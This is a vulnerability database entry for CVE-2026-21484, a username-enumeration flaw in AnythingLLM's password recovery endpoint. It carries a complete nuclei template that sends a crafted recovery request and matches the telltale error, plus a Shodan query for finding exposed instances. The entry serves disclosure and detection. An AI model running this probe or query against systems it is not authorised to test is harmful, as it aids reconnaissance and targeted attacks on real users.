HexBrain

Browse / CVEs / CVE-2026-21484

CVE-2026-21484· mintplex-labs / anything-llm· CWE-203, CWE-204

AnythingLLM - Username Enumeration via Password Recovery

mediumseverity
5.3CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it

AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.

Impact

Attackers can enumerate valid usernames, aiding further targeted attacks or social engineering.

Fix

Update to the version including commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 or later.

How to confirm it

Send: POST /api/system/recover-account
Positive when: status_code == 400 and contains_all(body, "Invalid recovery codes","success")

Run it with nuclei: nuclei -id CVE-2026-21484 -u <target>

The full check
id: CVE-2026-21484

info:
  name: AnythingLLM - Username Enumeration via Password Recovery
  author: DhiyaneshDk
  severity: medium
  description: |
    AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.
  impact: |
    Attackers can enumerate valid usernames, aiding further targeted attacks or social engineering.
  remediation: Update to the version including commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 or later.
  reference:
    - https://github.com/Mintplex-Labs/anything-llm/security/advisories/GHSA-47vr-w3vm-69ch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-21484
    epss-score: 0.00761
    epss-percentile: 0.55653
    cwe-id: CWE-203,CWE-204
  metadata:
    verified: true
    max-request: 2
    vendor: mintplex-labs
    product: anything-llm
    shodan-query: http.favicon.hash:-1279687529
  tags: cve,cve2026,anythingllm,user-enum

variables:
  rc1: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc2: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc3: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"
  rc4: "{{rand_text_alphanumeric(8)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(4)}}-{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST /api/system/recover-account HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{randstr}}","recoveryCodes":["{{rc3}}","{{rc4}}"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "Invalid recovery codes","success")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from